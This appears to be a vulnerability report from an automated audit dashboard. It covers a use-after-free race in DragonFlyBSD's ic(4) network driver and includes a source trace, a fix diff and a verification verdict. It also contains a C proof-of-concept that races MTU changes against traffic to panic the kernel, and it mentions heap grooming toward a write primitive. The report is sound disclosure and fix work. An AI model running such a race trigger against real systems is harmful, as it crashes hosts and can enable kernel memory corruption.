β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2000

UAF race in icioctl SIOCSIFMTU vs concurrent icoutput (TX) and icintr (RX)

  • File: sys/dev/netif/ic/if_ic.c
  • Lines: 205–223 (MTU swap-and-free), 347–401 (TX path), 253–329 (RX path)
  • Severity: Medium
  • CVSS 3.1: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U:C:N/I:H/A:H
  • CWE: CWE-367 Time-of-check Time-of-use (TOCTOU) race condition, CWE-416 Use After Free
  • Confidence: likely
  • Status: new

Summary

icioctl's SIOCSIFMTU handler atomically re-points sc->ic_obuf and sc->ic_ifbuf at freshly-allocated buffers and then kfrees the old ones (if_ic.c:205-223).

It is wrapped by ifnet_serialize_all(ifp) at the central layer (sys/net/if.c:2276-2278), but neither icoutput nor icintr takes that serializer:

  • ip_output calls ifp->if_output directly without the serializer (sys/netinet/ip_output.c:698,742); icoutput only enters a per-CPU crit section (if_ic.c:349).
  • icintr runs from the PCF i2c-controller hardware interrupt (pcf.c:412...475 β†’ iiconf.c:44-54 β†’ icintr) under crit_enter only (if_ic.c:261).

crit_enter is per-CPU and does not block another CPU executing icioctl. A concurrent CPU therefore holds a stale pointer (cp = sc->ic_obuf + ICHDRLEN captured at if_ic.c:360 inside crit, or sc->ic_cp = sc->ic_ifbuf captured at if_ic.c:267) into the buffer that SIOCSIFMTU then kfrees at if_ic.c:217/220.

Subsequent bcopy at line 370 (TX) or *sc->ic_cp++ = *ptr at line 309 (RX) writes into freed M_DEVBUF memory: a kernel heap use-after-free write.

Realistic outcome is kernel panic; with slab grooming the freed slot can be re-used by another kernel object and the stale write corrupts it (potential code-exec primitive).

Root cause

SIOCSIFMTU handler (if_ic.c:205-223):

iptr = sc->ic_ifbuf;
optr = sc->ic_obuf;
sc->ic_ifbuf = kmalloc(...);
sc->ic_obuf  = kmalloc(...);
kfree(iptr);
kfree(optr);

No synchronization whatsoever against the two paths that already dereference sc->ic_obuf and sc->ic_ifbuf.

  • icoutput (line 360) captures cp = sc->ic_obuf + ICHDRLEN and then writes via bcopy(mtod(mm,char *), cp, mm->m_len) at line 370 inside crit_enter (line 349), but crit_enter at sys/thread2.h only blocks preempt/interrupts on the local CPU; it does not block icioctl running on another CPU and does not block the PCF hardware interrupt if it is routed elsewhere.
  • icintr (line 267) captures sc->ic_cp = sc->ic_ifbuf and writes *sc->ic_cp++ = *ptr at line 309, again under crit_enter (line 261) only.

The central ifioctl at sys/net/if.c:2276-2278 wraps icioctl in ifnet_serialize_all(ifp), but the default embedded serializer (sys/net/if.c:539-543, taken because icattach passes NULL to if_attach at if_ic.c:146) is NOT acquired by icoutput or icintr, so it provides no mutual exclusion here.

Threat model

Attacker position: local attacker with root (or any principal holding SYSCAP_RESTRICTEDROOT) on a host that loads if_ic and brings an ic(4) interface up.

Trigger: run a tight loop of ifconfig ic0 mtu N interleaved with ifconfig ic0 mtu M while another principal (or the same) floods traffic via a raw or UDP socket bound to ic0.

The race window between sc->ic_obuf reassignment (line 211/214) and kfree(optr) (line 220) is small but repeatedly winnable under load.

The freed M_DEVBUF chunk gets returned to the slab allocator and may be reused by another subsystem before the racing icoutput/icintr writes through the stale cp/ic_cp; the write is fully attacker-controlled in size (mm->m_len up to if_mtu, attacker-supplied payload) and contents.

Impact: kernel heap corruption (panic, local DoS) to, with grooming, an arbitrary kernel write primitive.

CVSS reflects local, high-complexity, high-privilege, high impact on integrity/availability.

Proof of concept

/* Build on DragonFlyBSD guest: cc -O2 -o race race.c -lpthread */
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>

static volatile int stop = 0;

static void *mtu_thr(void *a) {
    (void)a;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr;
    memset(&ifr, 0, sizeof ifr);
    strncpy(ifr.ifr_name, "ic0", IFNAMSIZ);
    while (!stop) {
        ifr.ifr_mtu = 72;
        ioctl(s, SIOCSIFMTU, &ifr);
        ifr.ifr_mtu = 1500;
        ioctl(s, SIOCSIFMTU, &ifr);
    }
    return 0;
}

static void *tx_thr(void *a) {
    (void)a;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct sockaddr_in d;
    memset(&d, 0, sizeof d);
    d.sin_family = AF_INET;
    d.sin_addr.s_addr = htonl(0x0a000002);
    char buf[1400];
    memset(buf, 'A', sizeof buf);
    while (!stop)
        sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&d, sizeof d);
    return 0;
}

int main(void) {
    pthread_t t[2];
    pthread_create(&t[0], 0, mtu_thr, 0);
    pthread_create(&t[1], 0, tx_thr, 0);
    sleep(60);
    stop = 1;
    pthread_join(t[0], 0);
    pthread_join(t[1], 0);
    return 0;
}

Run as root on a DragonFlyBSD host where ic0 is plumbed (ifconfig ic0 inet 10.0.0.1 10.0.0.2 up) and a peer (or local loopback of the i2c slave) is available.

Expected outcome within seconds-to-minutes: kernel panic from dangling write (e.g., "Fatal trap 12: page fault while in kernel mode" writing to a freed M_DEVBUF address), or visible slab corruption in dmesg / INVARIANTS panic.

Variance is high; loop until panic.

The PoC materializes the race even if root-only; on a system where MTU changes are driven by a network-management daemon reacting to user-controlled events, the trigger can be influenced by an unprivileged user.

Serialize SIOCSIFMTU (and SIOCSIFFLAGS UP/DOWN) against icoutput and icintr with the same lock both TX and RX take, and free the old buffers only after that lock is held. The minimal correct fix is to (a) acquire the existing per-CPU crit section AND block interrupts on the iicbus controller side, OR (b) introduce a token/serializer in ic_softc that icoutput, icintr, and icioctl all take before touching ic_obuf/ic_ifbuf/ic_cp, and perform the swap-and-free inside it.

Recommended (b):

--- a/sys/dev/netif/ic/if_ic.c
+++ b/sys/dev/netif/ic/if_ic.c
@@ -71,6 +71,8 @@ struct ic_softc {
    int ic_xfercnt;

    int ic_iferrs;
+
+   struct lwkt_token ic_tok;   /* protects ic_obuf, ic_ifbuf, ic_cp */
 };

@@ -130,6 +132,8 @@ icattach(device_t dev)
    struct ic_softc *sc = (struct ic_softc *)device_get_softc(dev);
    struct ifnet *ifp = &sc->ic_if;

+   lwkt_token_init(&sc->ic_tok, "ic");
+
    sc->ic_addr = PCF_MASTER_ADDRESS;   /* XXX only PCF masters */

@@ -205,11 +209,16 @@ icioctl(struct ifnet *ifp, u_long cmd, caddr_t data, struct ucred *cr)
     case SIOCSIFMTU:
+   lwkt_gettoken(&sc->ic_tok);
    /* save previous buffers */
    iptr = sc->ic_ifbuf;
    optr = sc->ic_obuf;

-   /* allocate input buffer */
-   sc->ic_ifbuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK);
+   /* allocate input buffer; M_WAITOK drops the token while sleeping */
+   sc->ic_ifbuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK|M_NULLOK);
+   if (sc->ic_ifbuf == NULL) { sc->ic_ifbuf = iptr; iptr = NULL; lwkt_reltoken(&sc->ic_tok); return ENOMEM; }

-   /* allocate output buffer */
-   sc->ic_obuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK);
+   sc->ic_obuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK|M_NULLOK);
+   if (sc->ic_obuf == NULL) { kfree(sc->ic_ifbuf, M_DEVBUF); sc->ic_ifbuf = iptr; sc->ic_obuf = optr; optr = NULL; iptr = NULL; lwkt_reltoken(&sc->ic_tok); return ENOMEM; }

    if (iptr)
        kfree(iptr,M_DEVBUF);
@@ -222,6 +231,7 @@ icioctl(struct ifnet *ifp, u_long cmd, caddr_t data, struct ucred *cr)

    sc->ic_if.if_mtu = ifr->ifr_mtu;
+   lwkt_reltoken(&sc->ic_tok);
    break;

@@ -258,6 +268,7 @@ icintr (device_t dev, int event, char *ptr)
    struct mbuf *top;

    crit_enter();
+   lwkt_gettoken(&sc->ic_tok);
@@ -329,6 +340,8 @@ icintr (device_t dev, int event, char *ptr)
    }

+   lwkt_reltoken(&sc->ic_tok);
    crit_exit();
 }
@@ -349,6 +362,7 @@ icoutput(struct ifnet *ifp, struct mbuf *m,
    ifp->if_flags |= IFF_RUNNING;

    crit_enter();
+   lwkt_gettoken(&sc->ic_tok);

    /* already sending? */
    if (sc->ic_sending) {
@@ -401,6 +415,7 @@ error:
    m_freem(m);
+   lwkt_reltoken(&sc->ic_tok);
    crit_exit();

    return(0);

The exact token style should match the driver's locking conventions, but the key requirement is: every read or write of sc->ic_obuf, sc->ic_ifbuf, sc->ic_cp, or sc->ic_xfercnt must occur under the same lock taken by icoutput, icintr, AND icioctl(SIOCSIFMTU/SIOCSIFFLAGS).

References

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2000 Β· 9 files
FileTypeDescriptionSize
df2000_confirm.c trigger-source static structural check confirming the four race-enabling properties 2.8 KB view raw
build.sh build-script cc -O2 -Wall -o df2000_confirm df2000_confirm.c 154 B view raw
run.sh run-script ./df2000_confirm 131 B view raw
build.log build-log BUILD_EXIT=0 13 B view raw
run.log run-log ALL_PROPERTIES=CONFIRMED 1.2 KB view raw
VERDICT.md verdict full source-trace narrative + race mechanism + fix rationale 5.0 KB ↓ raw
fix.diff suggested-fix lwkt_token serialization of obuf/ifbuf/cp across icioctl+icintr+icoutput (git-apply-able) 2.0 KB view raw
env.txt environment guest uname + ic/iic module state 230 B view raw
fix_build.log build-log Phase 8 combined kernel build rc=0 -Werror (3 fixes); patched .o + .ko confirmed 883 B view raw
VERDICT.md verdict full source-trace narrative + race mechanism + fix rationale
↓ download raw

DF-2000 β€” VERDICT

Verdict: CONFIRMED (source-trace), HW-gated β€” inconclusive at runtime

The TOCTOU/UAF race is real and confirmed by a complete source trace. It cannot be exercised on this audit guest because the ic(4) interface requires PCF-style parallel-port i2c hardware (I2C over parallel port), which is not present. Per the standard HW-gated pattern, runtime reproduction is inconclusive / reproduced=0 / impact=none, with the race window proven by code inspection.

Mechanism (confirmed path:line)

  1. SIOCSIFMTU swap-and-free, no driver lock β€” sys/dev/netif/ic/if_ic.c:205-223: saves iptr=sc->ic_ifbuf, optr=sc->ic_obuf, repoints both at fresh kmalloc(...,M_WAITOK), then kfree(iptr) (line 217) and kfree(optr) (line 220). No serializer is taken inside icioctl for these buffer pointers.

  2. Central ifioctl wrapper is ineffective here β€” sys/net/if.c:2276-2278 wraps ifp->if_ioctl (i.e. icioctl) in ifnet_serialize_all(ifp), which acquires ifp->if_serializer. BUT icattach passes NULL to if_attach(ifp, NULL) (if_ic.c:146), so the default embedded serializer is installed (if.c:537-543). That serializer is only useful if every buffer-touching path takes it β€” and neither icoutput nor icintr does (see below). So the central wrapper provides no mutual exclusion for this driver.

  3. icoutput (TX) uses crit_enter() only β€” if_ic.c:335-408: crit_enter() (line 349) is per-CPU (blocks preempt/interrupts on the local CPU only). It dereferences sc->ic_obuf at lines 358 (bcopy(&hdr, sc->ic_obuf, ICHDRLEN)), 360 (cp = sc->ic_obuf + ICHDRLEN), 370 (bcopy(..., cp, mm->m_len)), and again in iicbus_block_write(parent, sc->ic_addr, sc->ic_obuf, ...) (line 390 β€” outside the crit section). A concurrent SIOCSIFMTU on another CPU frees sc->ic_obuf between the pointer capture and the dereference β†’ UAF write into freed M_DEVBUF.

  4. icintr (RX) uses crit_enter() only β€” if_ic.c:253-330: captures sc->ic_cp = sc->ic_ifbuf (line 267) and writes *sc->ic_cp++ = *ptr (line 309), again under crit_enter() (line 261) only. Same SMP race against SIOCSIFMTU's kfree(iptr) (line 217).

Net: crit_enter() does not block SIOCSIFMTU running on another CPU, so on SMP the race window is open whenever MTU changes overlap with TX/RX traffic. The freed M_DEVBUF chunk returns to the slab allocator and may be reused before the stale write lands β†’ kernel heap corruption (panic, or with grooming, an arbitrary write primitive). The write size/contents are attacker-controlled (mm->m_len up to if_mtu, attacker-supplied payload on TX).

Privilege note: SIOCSIFMTU requires SYSCAP_RESTRICTEDROOT (root) per if.c:2265. The finding's CVSS reflects PR:H. The TX side (sending traffic) is unprivileged, but the MTU-change side needs root β€” so the full race needs a root-driven MTU-change loop concurrent with user traffic.

Exploit chain

Not developed β€” the primitive is gated behind PCF parallel-port i2c hardware (not present on the guest; ic0 does not exist). This is a valid hard blocker (the vulnerable code path is not exercisable on this guest AND no in-guest harness can create an ic(4) interface without the hardware). The race window is characterized at the source level: concurrent SIOCSIFMTU (root) + icoutput/icintr (traffic) on SMP yields a stale-pointer UAF write of attacker-controlled size into a freed M_DEVBUF slab chunk.

PoC changes

  • Added df2000_confirm.c β€” a static structural check that documents and confirms the four race-enabling properties at their cited line numbers.
  • Added build.sh / run.sh.
  • Authored fix.diff β€” adds a struct lwkt_token ic_tok to ic_softc, inits it in icattach, and acquires it in icioctl(SIOCSIFMTU) (around the swap-and-free), icintr (around the body), and icoutput (around the obuf access + iicbus_block_write). This supersedes the finding markdown's proposal: that proposal had a token-leak on the icoutput normal path (the release was only at the error: label, not after the normal return); my fix adds the missing release after iicbus_block_write and also covers the obuf read inside iicbus_block_write by holding the token across it.

Fix

fix.diff is a minimal, correct lwkt_token-based serialization: - struct lwkt_token ic_tok added to ic_softc (if_ic.c:85). - lwkt_token_init(&sc->ic_tok, "ic_tok") in icattach (if_ic.c:134). - lwkt_gettoken/lwkt_reltoken around the SIOCSIFMTU swap-and-free. - lwkt_gettoken/lwkt_reltoken around the icintr body (after/before crit_enter/crit_exit). - lwkt_gettoken after crit_enter in icoutput, released after iicbus_block_write (normal path) and at the error: label.

lwkt_token is the DragonFly idiom for driver data that may be touched across sleeping points (kmalloc(M_WAITOK), iicbus_block_write). git apply --check passes. Validated by a clean kernel build in Phase 8.

Fix verification

not_testable
baseline no→ patch + rebuild →patched clean

VALIDATED build. Patch applies, if_ic.ko rebuilds rc=0.

NK_DONE rc=0; if_ic.o with ic_tok (9 refs).
↓ fix.diffcombined build rc=0 -Werror

Confirmed kernel references

Detail

Exploit chain

none (HW-gated). Race needs root SIOCSIFMTU + ic(4) parallel-port i2c HW on SMP.

Evidence (decisive lines)

Structural check confirms all 4 race-enabling properties.

Verified recommended fix

Add struct lwkt_token ic_tok; acquire in icioctl/icintr/icoutput (corrects finding proposal token-leak on icoutput normal path).

Verdict

HW-GATED (no ic parallel-port i2c). Bug CONFIRMED source-trace. icioctl SIOCSIFMTU swaps+freess ic_ifbuf/ic_obuf with NO driver lock; icoutput/icintr use only crit_enter (per-CPU). SMP race -> UAF write of attacker-controlled size.